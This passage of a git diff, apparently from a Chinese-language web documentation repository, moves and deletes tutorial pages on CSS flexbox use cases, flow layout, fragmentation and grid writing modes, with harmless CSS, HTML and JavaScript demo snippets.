-  flex: auto;
-  background-color: black;
-}
-.centered-element {
-  flex: none;
-  background-color: white;
-}
-
- -

HTML 内容

- -
<div class="vertical-box">
-  <div class="spacer"></div>
-  <div class="centered-element horizontal-box">
-    <div class="spacer"></div>
-    <div class="centered-element">Centered content</div>
-     <div class="spacer"></div>
-  </div>
-  <div class="spacer"></div>
-</div>
-
- -

结果

- -

{{ EmbedLiveSample('示例_1_在页面中把一个元素居中', 500, 500) }}

- -

示例2: 垂直放置一系列的容器

- -

假设你有一个带有头部区域,内容区域,和底部区域的页面。头部和底部应该有一个固定的尺寸,但是内容区域应该根据可以利用的空间来缩放。这可以通过设置内容区域的 {{cssxref("flex")}} 属性,设置头部区域 {{cssxref("flex")}} 属性,底部区域不设置来实现自动扩展功能。

- -

CSS 内容

- -
.vertical-box {
-  display: flex;
-  height: 400px;
-  width: 400px;
-  flex-flow: column;
-}
-.fixed-size {
-  flex: none;
-  height: 30px;
-  background-color: black;
-  text-align: center;
-}
-.flexible-size {
-  flex: auto;
-  background-color: white;
-}
-
- -

HTML 内容

- -
<div id="document" class="vertical-box">
-  <div class="fixed-size"><button id="increase-size">Increase container size</button></div>
-  <div id="flexible-content" class="flexible-size"></div>
-  <div class="fixed-size"><button id="decrease-size">Decrease container size</button></div>
-</div>
-
- -

Javascript 内容

- -
var height = 400;
-document.getElementById('increase-size').onclick=function() {
-  height += 10;
-  if (height > 500) height = 500;
-  document.getElementById('document').style.height = (height + "px");
-}
-
-document.getElementById('decrease-size').onclick=function() {
-  height -= 10;
-  if (height < 300) height = 300;
-  document.getElementById('document').style.height = (height + "px");
-}
- -

结果

- -

{{ EmbedLiveSample('示例2_垂直放置一系列的容器', 500, 500) }}

- -

这个例子已经设定好了,可以通过点击头部来增加尺寸,通过点击底部来减小尺寸。仔细观察在保持头部和底部尺寸不变的情况下,内容区域是如何自动缩放的。

- -

示例3: 创建一个水平折叠的容器

- -

在某些时候,你可能想让一些信息在屏幕尺寸允许的情况下呈水平布局,但是在屏幕不允许的情况下可以水平折叠。这对 flexbox 来讲太容易实现了。你通过设置 {{cssxref("flex-flow")}} 的值为 wrap 来实现。

- -

CSS 内容

- -
.horizontal-container {
-  display: flex;
-  width: 300px;
-  flex-flow: row wrap;
-}
-.fixed-size {
-  flex: none;
-  width: 100px;
-  background-color: black;
-  color: white;
-  text-align: center;
-}
-
- -

HTML 内容

- -
<div id="container" class="horizontal-container">
-  <div class="fixed-size">Element 1</div>
-  <div class="fixed-size">Element 2</div>
-  <div class="fixed-size">Element 3</div>
-</div><button id="increase-size">Increase container size</button><button id="decrease-size">Decrease container size</button>
-
- -

Javascript 内容

- -
var width = 300;
-
-document.getElementById('increase-size').onclick=function() {
-  width += 100;
-  if (width > 300) width = 300;
-  document.getElementById('container').style.width = (width + "px");
-}
-
-document.getElementById('decrease-size').onclick=function() {
-  width -= 100;
-  if (width < 100) width = 100;
-  document.getElementById('container').style.width = (width + "px");
-}
-
- -

结果

- -

{{ EmbedLiveSample('示例3_创建一个水平折叠的容器', 500, 200) }}

- -

参考

- - diff --git "a/files/zh-cn/web/css/css_flexible_box_layout/\345\205\270\345\236\213_\347\224\250\344\276\213_\347\232\204_flexbox/index.html" "b/files/zh-cn/web/css/css_flexible_box_layout/\345\205\270\345\236\213_\347\224\250\344\276\213_\347\232\204_flexbox/index.html" deleted file mode 100644 index 1b4c283f36..0000000000 --- "a/files/zh-cn/web/css/css_flexible_box_layout/\345\205\270\345\236\213_\347\224\250\344\276\213_\347\232\204_flexbox/index.html" +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: Flexbox典型用例 -slug: Web/CSS/CSS_Flexible_Box_Layout/典型_用例_的_Flexbox -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox ---- -

{{CSSRef}}

- -

在这个文档中,我们将看一些常见flexbox的用例—这些都是比其他布局更合理的方法。

- -

为什么选择flexbox?

- -

在浏览器完美支持的环境中,你选择使用flexbox的原因是你希望把一堆元素不是放在这个方向就是那个方向。 因为在放置元素过程中,你想控制元素在那个方向的维度,或者控制他们彼此之间的间距。flexbox就是为此设计的。. 又可以阅读Relationship of Flexbox to other layout methods来了解更多关于flexbox和CSS Grid布局的区别, 在这篇文章里面,我们会讨论flexbox如何运用与CSS整体布局。

- -

在现实中,为了便于对齐,我们通常会选择用Flexbox作为替代品,来完成即使用Grid布局更好的情况。一旦盒子对齐(Box Alignment )被盒模型所实行,这种情况就会得到改善。在这个教程中,我们会介绍一些会在现在使用flexbox的用例。

- -

导航

- -

导航的一个常见特征,就是使用水平条的样式去呈现一系列元素。这一模式看起来很简单,但是在 flexbox 出现之前却是很难实现的。 它成为一个最简单的 flexbox 示例,可以被被看成是 flexbox 理想的使用场景。

- -

当我们有一组元素需要水平排列展示,很可能在末尾会多出一些空间。我们需要决定如何去处理这些额外的空间,通常有多种不同的方案。 我们要么在元素外部展示这些空间即使用间距或包裹的方式来分隔开不同元素,要么将空间吸收至元素内部即需要一个方法来允许元素拉伸以占满额外空间。

- -

在元素外部处理空间分布

- -

为了让多余的空间分布在多个元素之间或周围,我们使用 flexbox 中相应的对齐属性以及 {{cssxref("justify-content")}} 属性。你可以通过 Aligning Items in a flex container 来阅读更多关于这个专门用来处理主轴(main axis)对齐的属性。

- -

在下面的示例中,我们让各元素都展示为其自身的尺寸,通过使用 justify-content: space-between 使元素之间拥有相同的空间。你可以通过 space-around 的值来改变空间分布的方式,在浏览器支持的环境下还可以使用 space-evenly。你也可以使用 flex-start 让空间展示在所有元素末尾。使用 flex-end 让空间展示在所有元素之前,  center 可以剧中所有元素。

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}

- -

让元素自己处理空间分布

- -

导航的另一个不同模式是让元素自己去决定如何处理额外的空间,而不是将空间分布在它们之间。 在这种情况下,我们使用 {{cssxref("flex")}} 属性来允许各元素彼此成比例的拉伸和收缩,正如 Controlling ratios of flex items along the main axis 所描述。

- -

如果我想让导航中的所有元素都等宽,会使用 flex: auto,这是 flex: 1 1 auto 的简写形式。所有元素都在它们的 flex-basis 尺寸上进行自动的收缩。这意味着,较长的元素会获得更多的空间。因为 flex-basis 的值被设置为 0,所以所有空间都会被平均分配。

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}

- -

拆分导航

- -

另一种在主轴上对齐元素的方式就是使用自动边距。 这种方式将创造出一部分元素左对齐而另一部分右对齐的导航栏设计。

- -

这儿我们使用在 Using auto margins for main axis alignment 这篇文章中介绍的自动边距技术。所有的元素在主轴上按照弹性盒布局的默认设定 flex-start 进行对齐,同时我们给那个需要右对齐的元素添加 margin-left: auto; 样式。你可以尝试将那个类名转移到其它元素上以改变(向右)分割作用的位置。

- -

在这个例子里我们也为每个元素启用了 margin 属性来控制元素间的间隔,并给容器添加负边距以保证元素与容器的接洽处没有缝隙。在弹性盒布局实现盒式对齐规范中的 gap 属性前,如果我们想要控制元素的间隔就不得不使用使用边距属性。

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}

- -

元素居中

- -

在弹性盒布局到来之前,开发者们曾开玩笑说网页设计中最难的部分是垂直居中。 现在,使用弹性盒布局中的对齐属性,这会变得很简单,如下例所示。

- -

你可以修改对齐方式,用 flex-start 使元素对齐到交叉轴的开始处或者用 flex-end 使元素对齐到交叉轴的结束处。

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}

- -

在未来,我们可能不需要为了元素的居中而创建一个弹性盒容器,因为盒对齐属性最终会在块布局中实现。但是现在,假如你想在一个元素中居中另一个,弹性盒布局是一个很好的选择。在上面的例子中,将一个元素放入弹性盒容器里之后,要么在容器中使用 align-items, 要么在元素中使用 align-self 来达到所需的效果。

- -

绝对底部

- -

不管你使用的是弹性盒还是网格来进行布局,这些布局方式都只对弹性盒容器或者网格容器的(直接)子元素生效。这也意味着即使你的 content 长度不定,组件在高度上仍会充满整个弹性盒容器或者网格容器。但任何使用常规块布局的方法都会导致 content 内容较少时 footer 上升到 content 下方而不是容器的底部。Two card components showing that the internals of the component do not stretch with the wrapper.

- -

弹性盒就能解决常规块布局的问题。我们创建一个弹性盒容器, 并启用 {{cssxref("flex-direction")}}: column 。之后我们在 content 部分启用 flex: 1 —— flex: 1 1 0 的缩略形式,这个元素就可以在 flex-basis 为零的基础上伸缩。因为这是唯一一个可以延伸的元素,它会占据所有在弹性盒容器中可以占据的空间,同时将 footer 推至底部。如果你移除例子里的属性 flex 你就会看见 footer 回到 content 底部。

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}

- -

媒体对象

- -

媒体对象是网页设计中的常见模式:这种模式下,一侧具有图片或其他元素,另一侧具有文本。理想情况下,媒体对象应该可以翻转:即把图片从左侧移动到右侧。

- -

这种模式随处可见,用于评论、以及其他需要显示图片和描述的地方。使用flexbox可以允许包含图片的媒体对象部分从图片中获取其尺寸调整信息,并对媒体对象的主体进行弹性布局,以占用剩余空间。

- -

在下面的实例中,您可以看到我们的媒体对象。使用对齐属性来将交叉轴上的元素对齐到flex-start,然后为.content flex元素设置为flex: 1。与上面的列布局卡片模式一样,启用flex: 1表示此部分卡片可以延伸。

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}

- -

Some things that you might want to try in this live example relate to the different ways you might want to constrain the media object in your design.

- -

为避免图片过大,可以在为图片添加{{cssxref("max-width")}}。由于媒体对象那一侧使用的是flexbox的初始值,它可以缩小但不会延伸,且其 flex-basis 值是auto。应用于图片的任何{{cssxref("width")}} 或 max-width将会成为flex-basis。

- -
.image img {
-  max-width: 100px;
-}
-
- -

你也可以允许双方按比例延伸和缩小。如果将两边都设置为flex: 1,它们从{{cssxref("flex-basis")}}为0增长和缩小,因此最终会得到两个大小相等的列。你可以将内容作为指南,并将其都设置为 flex: auto,这种情况下,它们将从内容的大小或直接应用于弹性元素的任何大小(例如图片的宽度)延伸和缩小。

- -
.media .content {
-  flex: 1;
-  padding: 10px;
-}
-
-.image {
-  flex: 1;
-}
- -

You could also give each side different {{cssxref("flex-grow")}} factors, for example setting the side with the image to flex: 1 and the content side to flex: 3. This will mean they use a flex-basis of auto but distribute that space at different rates according to the flex-grow factor you have assigned. The flex properties we use to do this are described in detail in the guide Controlling ratios of flex items along the main axis.

- -
.media .content {
-  flex: 3;
-  padding: 10px;
-}
-
-.image {
-  flex: 1;
-}
- -

Flipping the media object

- -

To switch the display of the media object so that the image is on the right and the content is on the left we can use the flex-direction property set to row-reverse. The media object now displays the other way around. I have achieved this in the live example by adding a class of flipped alongside the existing .media class. This means you can see how the display changes by removing that class from the html.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}

- -

Form controls

- -

Flexbox is particularly useful when it comes to styling form controls. Forms have lots of markup and lots of small elements that we typically want to align with each other. A common pattern is to have an {{htmlelement("input")}} element paired with a {{htmlelement("button")}}, perhaps for a search form or where you simply want your visitor to enter an email address.

- -

Flexbox makes this type of layout easy to achieve. I have contained my <button> and <input> field in a wrapper which I have given a border and set to display: flex. I then use the flex properties to allow the <input> field to grow, while the button does not grow. This means we have a pair of fields, with the text field growing and shrinking as the available space changes.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}

- -

You could add a label or icon to the left as easily as we popped the button onto the right. I have added a label, and other than some styling for background colour I didn’t need to change the layout. The stretchy input field now has a little less space to play with but it uses the space left after the two items are accounted for.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}

- -

Patterns like this can make it much easier to create a library of form elements for your design, which easily accommodate additional elements being added. You are taking advantage of the flexibility of flexbox by mixing items that do not grow with those that do.

- -

结论

- -

当了解上面的这些示例时,你已经满怀希望的想象怎么找到最好的方式使用弹性盒子布局实现你想要的结果。大部分情况下,你拥有不止一种选择。将可以变化的内容和不能变化的混合在一起,通过内容来决定他们的大小或者允许弹性布局设置按比例分配空间。要因地制宜,对症下药。

- -

先考虑一下用什么方法展示你的内容比较好,然后在了解怎么用弹性布局或其他布局方法实现你的想法。

diff --git "a/files/zh-cn/web/css/css_flexible_box_layout/\345\274\271\346\200\247\347\233\222\345\255\220\344\270\216\345\205\266\344\273\226\345\270\203\345\261\200\346\226\271\346\263\225\347\232\204\350\201\224\347\263\273/index.html" "b/files/zh-cn/web/css/css_flexible_box_layout/\345\274\271\346\200\247\347\233\222\345\255\220\344\270\216\345\205\266\344\273\226\345\270\203\345\261\200\346\226\271\346\263\225\347\232\204\350\201\224\347\263\273/index.html" deleted file mode 100644 index c90b3416a5..0000000000 --- "a/files/zh-cn/web/css/css_flexible_box_layout/\345\274\271\346\200\247\347\233\222\345\255\220\344\270\216\345\205\266\344\273\226\345\270\203\345\261\200\346\226\271\346\263\225\347\232\204\350\201\224\347\263\273/index.html" +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: 弹性盒子与其他布局方法的联系 -slug: Web/CSS/CSS_Flexible_Box_Layout/弹性盒子与其他布局方法的联系 -tags: - - CSS - - box alignment - - flexbox -translation_of: >- - Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods ---- -
{{CSSRef}}
- -

在本文中,我们将了解弹性盒子(Flexbox)如何与所有其他CSS模块相适应。如果您想学习flexbox,我们将一起找出需要注意的规范和flexbox与一些其他模块不同的原因。

- -
-

注意:CSS 1和CSS 2是一个单一的整体规范,其中所有CSS都定义在一个文档中。随着CSS成为一种功能更加丰富的语言,各个部分有不同的发展速度,如何维护一个庞大的规范就成了问题。因此现在的CSS是模块化的,不同的CSS模块有不同的规范,一起构成了现在的CSS。这些模块之间相互关联,并且处于不同的开发阶段。

-
- -

box alignment 模块

- -

许多人开始关注flexbox的最初原因是在flex容器中能够很好的对齐其中的元素。flexbox可以设置在其交叉轴以及主轴上的对齐属性。

- -

这些属性最开始出现在flexbox规范中,现在已经成为Box Alignment规范的一部分。 这个规范详细说明了在所有布局中(不仅仅是flexbox)对齐属性是如何起作用的。 对齐属性用于设置元素对齐方式和沿轴的空间分配。

- -

之所以在flexbox规范和box alignment模块规范中都有对对齐属性的详细描述,是为了确保flexbox规范的完成不会受box alignment模块规范的影响,因为后者需要详细说明所有的布局类型中的对齐方法。flexbox规范中有一条注释指出将来一旦Box Alignment Level 3完成,它将会取代flexbox规范中的相关定义:

- -
-

“注意:虽然对齐属性是在CSS Box Alignment [CSS-ALIGN-3]中定义的,但“ Flexible Box Layout”在此处重现了相关属性的定义,以免形成规范性的依赖关系,而这可能会减慢规范的发展。这些属性仅适用于Flex布局,直到CSS Box Alignment Level 3完成并定义其对其他布局模式的效果;此外,在Box Alignment模块中定义的任何新值都将应用于Flexible Box Layout;换句话说,一旦Box Alignment模块完成,其中的相关定义将取代此处的定义。”

-
- -

在本系列的后续文章(在flex容器中对齐元素)中,我们将彻底研究Box Alignment属性如何应用于flex元素。

- -

gap属性

- -

属性{{cssxref("row-gap")}} 和 {{cssxref("column-gap")}},其简写为{{cssxref("gap")}},近期添加到了盒子布局规范中。这些属性(名称为grid-row-gap, grid-column-gap and grid-gap)最初定义在CSS网格布局中。但是他们被重命名并移入盒子布局规范。这样的话,所有的布局方法都可以使用这些属性。不过在浏览器实现Flex的这些属性之前只能通过{{cssxref("margin")}} 来控制元素之间的间隙距离。

- -

Writing Modes

- -

In the Basic concepts of flexbox article, I explained that flexbox is writing mode aware. Writing modes are fully detailed in the CSS Writing Modes specification, which details how CSS supports the various different writing modes that exist internationally. We need to be aware of how this will impact our flex layouts as writing mode changes the direction that blocks are laid out in our document. Understanding block and inline directions is key to new layout methods.

- -

It is worth noting that we might want to change the writing mode of our document for reasons other than publishing content in a language that uses a different writing mode. See this article for a full description of writing modes and ways to use them, both for content in other languages and for creative reasons. 

- -

The writing modes

- -

The writing modes specification defines the following values of the {{cssxref("writing-mode")}} property, which serve to change the direction that blocks are laid out on the page, to match the direction that blocks lay out when content is formatted in that particular writing mode. You can change the live example below to these modes in order to see what happens to the flex layout.

- - - -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/writing-modes.html", '100%', 360)}} 

- -

Note that sideways-rl and sideways-lr have support only in Firefox currently. There are also some known issues with regard to writing-mode and flexbox. You can see more information on browser support in the MDN documentation for writing-mode. However if you are planning on using writing modes in your layout, carefully testing the results is advisable — not least because it would be easy to make things hard to read!

- -

Note that you would not normally use CSS and the writing-mode property to change an entire document to another writing mode. This would be done via HTML, by adding a dir and lang attribute to the html element to indicate the document language and default text direction. This would mean that the document would display correctly even if CSS did not load.

- -

Flexbox and other layout methods

- -

The flexbox specification contains a definition of what happens if an item uses another layout method and then becomes a flex item. For example, if an item is floated and then its parent becomes a flex container. Or, how a flex container behaves as part of layout.

- -

An element set to display: flex behaves in most ways like any other block level container that establishes a containing block. Floats will not intrude, and the containers' margins will not collapse.

- -

With regard to flex items, if an item was floated or cleared and then becomes a flex item due to the parent having display: flex applied, the floating and clearing will no longer happen, and the item will not be taken out of normal flow in the way that floats are. If you have used the {{cssxref("vertical-align")}} property, as used with inline-block or table layout for alignment, this will no longer affect the item and you can use the alignment properties of flexbox instead.

- -

In this next live example the child elements have been floated, and then their container has had display: flex added. If you remove display: flex, you should see that the .box element collapses as we have no clearing applied. This demonstrates that the float is happening. Re-apply display: flex and the collapsing does not happen. This is because the items no longer have a float applied, as they have been transformed into flex items.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/floats.html", '100%', 430)}}

- -

Flexbox and Grid Layout

- -

CSS Grid Layout and Flexbox generally act in the same way with regards to overwriting other methods. You might however want to use flexbox as a fallback for grid layout, as there is better support for flexbox in older browsers. This approach works very well. If a flex item becomes a grid item, then the flex properties that may have been assigned to the child elements will be ignored.

- -

You can use the Box Alignment properties across both layout methods, so using flexbox as a fallback for grid layout can work very well.

- -

Flex and grid — what's the difference?

- -

A common question is to ask what the difference is between Flexbox and CSS Grid Layout — why do we have two specifications that sometimes appear to be doing the same thing?

- -

The most straightforward answer to this question is defined in the specifications themselves. Flexbox is a one-dimensional layout method whereas Grid Layout is a two-dimensional layout method. The example below has a flex layout. As already described in the Basic concepts article, flex items can be allowed to wrap but, once they do so, each line becomes a flex container of its own. When space is distributed flexbox does not look at the placement of items in other rows and tries to line things up with each other.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/flex-layout.html", '100%', 750)}}

- -

If we create a very similar layout using Grid, we can control the layout in both rows and columns.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/grid-layout.html", '100%', 700)}}

- -

These examples point to another key difference between these layout methods. In Grid Layout you do the majority of sizing specification on the container, setting up tracks and then placing items into them. In flexbox, while you create a flex container and set the direction at that level, any control over item sizing needs to happen on the items themselves.

- -

In some cases you could happily use either layout method, but as you become confident with both you will find each one suiting different layout needs, and you will end up with both methods in your CSS. There is rarely a right or wrong answer.

- -

As a rule of thumb, if you are adding widths to flex items in order to make items in one row of a wrapped flex container line up with the items above them you really want two-dimensional layout. In this case it is likely that the component would be better laid out using CSS Grid Layout. It isn't the case that you should use flexbox for small components and grid layout for larger ones; a tiny component can be two dimensional, and a large layout can be represented better with layout in one dimension. Try things out — we have a choice in layout method for the first time, so take advantage of it.

- -

For more comparisons of grid and flexbox see the article Relationship of Grid Layout to other layout methods. This article details many of the ways that Grid Layout differs from flex layout, and demonstrates some of the extra functionality you get when using Grid Layout such as layering of items on the grid. This may also help in your decision as to which layout method to use.

- -

Flexbox and display: contents

- -

The contents value of the {{cssxref("display")}} property is a new value that is described in the spec as follows:

- -
-

“The element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal. For the purposes of box generation and layout, the element must be treated as if it had been replaced with its children and pseudo-elements in the document tree.”

-
- -

This value of display controls box generation, and whether the element should generate a box that we can style and see on the page, or whether instead the box it would normally create should be removed and the child elements essentially moved up to participate in whatever layout method the parent would have been part of. This is much easier to see with an example.

- -

In the following live example I have a flex container with three child elements. One of these flex items has two elements nested inside it, which would not ordinarily participate in flex layout. Flex layout only applies to the direct children of a flex container.

- -

By adding display: contents to the wrapper around the nested elements, you can see that that item has disappeared from the layout, allowing the two sub-children to be laid out as if they were direct children of the flex container. You can try removing the display: contents line to see it return.

- -

Note that this only removes the box from the layout; the sub-children don’t become direct children in any other way. You can see that as I have used a direct child selector to add the background and borders to the flex items, this has not been applied to our nested children. They have been laid out as flex items, but as they are not direct children they do not get the other styling.

- -
-

Warning: Use of display: contents will also remove the element from the accessibility tree – screen readers will not see what's inside, just the same as if you used display: none. Use of contents should only be for presentational, not content, elements.

-
- -

Also, having removed the box you cannot then use it to — for example — add a background colour behind the nested sub children. If you remove display: contents in this live example you will see that the direct child we are removing has an orange background colour. This also disappears when the box disappears. 

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/display-contents.html", '100%', 650)}}

- -

Browser support for display:contents is limited and required for this demo to work. Firefox supports display: contents already, and the value is being implemented in Chrome. Once there is better browser support this feature will be very useful in circumstances where you need the markup for semantic reasons but do not want to display the box that it would generate by default.

diff --git a/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html b/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html new file mode 100644 index 0000000000..2c84dc8384 --- /dev/null +++ b/files/zh-cn/web/css/css_flow_layout/in_flow_and_out_of_flow/index.html @@ -0,0 +1,64 @@ +--- +title: In Flow and Out of Flow +slug: Web/CSS/CSS_Flow_Layout/在Flow中和Flow之外 +translation_of: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow +--- +
{{CSSRef}}
+ +

在之前的 文档中我解释了常规流中块(block)和行(inline)布局,常规流中的所有元素都会以这种布局方式运作。

+ +

在下面的例子中,我新建了一个标题(h1元素),一个段落(p元素),一个无序列表(ul元素)和一个包含strong元素的段落(p元素),标题和段落都是块级(block level),strong元素为行级(inline)。列表中的项通过弹性盒布局排成一行,但是列表本身仍然处于块和内联布局中 - 他的display属性为block。

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/in-flow.html", '100%', 800)}}

+ +

可以说,示例中的所有元素都属于常规流,按照源代码中的顺序渲染到页面中。

+ +

脱离常规流的元素

+ +

下列元素会脱离常规流:

+ + + +

脱离常规流的元素会创建一个新的块级格式化上下文(Block Formatting Context: BFC)环境,其中包含的所有元素构成了一个小的布局环境,与页面中的其他内容分隔开来。而根元素,作为页面中所有内容的容器,自身脱离常规流,为整个文档创建了一个块级格式化上下文环境。

+ +

Floated Items

+ +

在这个例子中,我有一个div,以及两个段落。我已经为段落添加了背景颜色,然后将div向左浮动。 div现在已经不再处于flow中了。

+ +

作为一个浮动的元素,它首先根据正常flow布局,然后从流动中取出并尽可能地向左移动

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/float.html", '100%', 800)}}

+ +

你可以看到下面段落的背景颜色在下面运行,只是该段落的行框已被缩短以导致在浮动周围包裹内容的效果。我们段落的方框仍然按照正常流程规则显示。这就是为什么要在浮动项目周围留出空间,必须为项目添加边距,以便将线框推离它。您无法对以下内插内容应用任何内容来实现此目的。

+ +

Absolute Positioning

+ +

设置元素属性为 position: absolute 或者 position: fixed 会使此元素脱离文档流, 他本来占据的空间也会被移除. 在下面的例子中,我定义了三个p元素,并且将第二个p元素设置为 position absolute,  top: 30px , right: 30px. 使其脱离文档流。

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/abspos.html", '100%', 700)}}

+ +

设置 position: fixed 也能使元素脱离文档流, 但是偏移量会根据视口而不是父元素来定。

+ +

当通过定位方式使元素脱离文档流,元素内容可能重叠,这需要你自己去处理。脱离文档流意味着页面中的其他元素不知道该元素的存在,故不会对该元素做出响应。

+ +

Relative Positioning and Flow

+ +

如果你给一个元素开启相对定位,那该元素依然会位于文档流中,然而你可以通过设置偏移值的方式来移动他。正如下面的例子所展示的,该元素的原先占据的空间仍然会被保留。

+ +

{{EmbedGHLiveSample("css-examples/flow/in-flow/relative.html", '100%', 800)}}

+ +

当你移动一个元素或者使元素脱离文档流,为防止重叠,你可能需要对元素内容和元素周围的内容做一些管理,要么清除浮动, 要么保证相对定位不会覆盖其他元素。

+ +

Summary

+ +

In this guide we have covered the ways to take an element out of flow in order to achieve some very specific types of positioning. In the next guide we will look at a related issue, that of creating a Block Formatting Context, in Formatting Contexts Explained.

+ +

See Also

+ + diff --git "a/files/zh-cn/web/css/css_flow_layout/\345\234\250flow\344\270\255\345\222\214flow\344\271\213\345\244\226/index.html" "b/files/zh-cn/web/css/css_flow_layout/\345\234\250flow\344\270\255\345\222\214flow\344\271\213\345\244\226/index.html" deleted file mode 100644 index 2c84dc8384..0000000000 --- "a/files/zh-cn/web/css/css_flow_layout/\345\234\250flow\344\270\255\345\222\214flow\344\271\213\345\244\226/index.html" +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: In Flow and Out of Flow -slug: Web/CSS/CSS_Flow_Layout/在Flow中和Flow之外 -translation_of: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow ---- -
{{CSSRef}}
- -

在之前的 文档中我解释了常规流中块(block)和行(inline)布局,常规流中的所有元素都会以这种布局方式运作。

- -

在下面的例子中,我新建了一个标题(h1元素),一个段落(p元素),一个无序列表(ul元素)和一个包含strong元素的段落(p元素),标题和段落都是块级(block level),strong元素为行级(inline)。列表中的项通过弹性盒布局排成一行,但是列表本身仍然处于块和内联布局中 - 他的display属性为block。

- -

{{EmbedGHLiveSample("css-examples/flow/in-flow/in-flow.html", '100%', 800)}}

- -

可以说,示例中的所有元素都属于常规流,按照源代码中的顺序渲染到页面中。

- -

脱离常规流的元素

- -

下列元素会脱离常规流:

- - - -

脱离常规流的元素会创建一个新的块级格式化上下文(Block Formatting Context: BFC)环境,其中包含的所有元素构成了一个小的布局环境,与页面中的其他内容分隔开来。而根元素,作为页面中所有内容的容器,自身脱离常规流,为整个文档创建了一个块级格式化上下文环境。

- -

Floated Items

- -

在这个例子中,我有一个div,以及两个段落。我已经为段落添加了背景颜色,然后将div向左浮动。 div现在已经不再处于flow中了。

- -

作为一个浮动的元素,它首先根据正常flow布局,然后从流动中取出并尽可能地向左移动

- -

{{EmbedGHLiveSample("css-examples/flow/in-flow/float.html", '100%', 800)}}

- -

你可以看到下面段落的背景颜色在下面运行,只是该段落的行框已被缩短以导致在浮动周围包裹内容的效果。我们段落的方框仍然按照正常流程规则显示。这就是为什么要在浮动项目周围留出空间,必须为项目添加边距,以便将线框推离它。您无法对以下内插内容应用任何内容来实现此目的。

- -

Absolute Positioning

- -

设置元素属性为 position: absolute 或者 position: fixed 会使此元素脱离文档流, 他本来占据的空间也会被移除. 在下面的例子中,我定义了三个p元素,并且将第二个p元素设置为 position absolute,  top: 30px , right: 30px. 使其脱离文档流。

- -

{{EmbedGHLiveSample("css-examples/flow/in-flow/abspos.html", '100%', 700)}}

- -

设置 position: fixed 也能使元素脱离文档流, 但是偏移量会根据视口而不是父元素来定。

- -

当通过定位方式使元素脱离文档流,元素内容可能重叠,这需要你自己去处理。脱离文档流意味着页面中的其他元素不知道该元素的存在,故不会对该元素做出响应。

- -

Relative Positioning and Flow

- -

如果你给一个元素开启相对定位,那该元素依然会位于文档流中,然而你可以通过设置偏移值的方式来移动他。正如下面的例子所展示的,该元素的原先占据的空间仍然会被保留。

- -

{{EmbedGHLiveSample("css-examples/flow/in-flow/relative.html", '100%', 800)}}

- -

当你移动一个元素或者使元素脱离文档流,为防止重叠,你可能需要对元素内容和元素周围的内容做一些管理,要么清除浮动, 要么保证相对定位不会覆盖其他元素。

- -

Summary

- -

In this guide we have covered the ways to take an element out of flow in order to achieve some very specific types of positioning. In the next guide we will look at a related issue, that of creating a Block Formatting Context, in Formatting Contexts Explained.

- -

See Also

- - diff --git a/files/zh-cn/web/css/css_fragmentation/index.html b/files/zh-cn/web/css/css_fragmentation/index.html new file mode 100644 index 0000000000..5b0d8e7a13 --- /dev/null +++ b/files/zh-cn/web/css/css_fragmentation/index.html @@ -0,0 +1,46 @@ +--- +title: CSS分片 +slug: Web/CSS/CSS_分片 +tags: + - CSS + - CSS分片 + - 参考 +translation_of: Web/CSS/CSS_Fragmentation +--- +
{{cssref}}
+ +

CSS FragmentationCSS的模块,它定义了内容在跨多个页面,区域或列中被分割(分段)时如何显示

+ +

当一个内联框包装成多行时会发生碎片。当一个块跨越一个列布局容器内的多个列,或者在打印时跨越一个分页符时,也会发生这种情况。元素的每个渲染片段称为一个片段

+ +

参考

+ +
+ +
+ +

规格

+ + + + + + + + + + + + + + + + +
规格状态评论
{{SpecName('CSS3 Fragmentation')}}{{Spec2('CSS3 Fragmentation')}}初始定义。
diff --git a/files/zh-cn/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html b/files/zh-cn/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html deleted file mode 100644 index 936634c06c..0000000000 --- a/files/zh-cn/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html +++ /dev/null @@ -1,502 +0,0 @@ ---- -title: CSS 网格,逻辑值和书写模式 -slug: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' -tags: - - CSS - - CSS 指南 - - 指南 -translation_of: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' ---- -

在前面的文章中,我们已经接触了网格布局的一个重要特性:被纳入规范的对不同书写模式的支持。本文我们将探讨在网格和其他现代布局方式下的这个特性的表现,以及学习一些关于书写模式和逻辑属性与物理属性的知识。

- -

逻辑属性与物理属性及逻辑值与物理值

- -

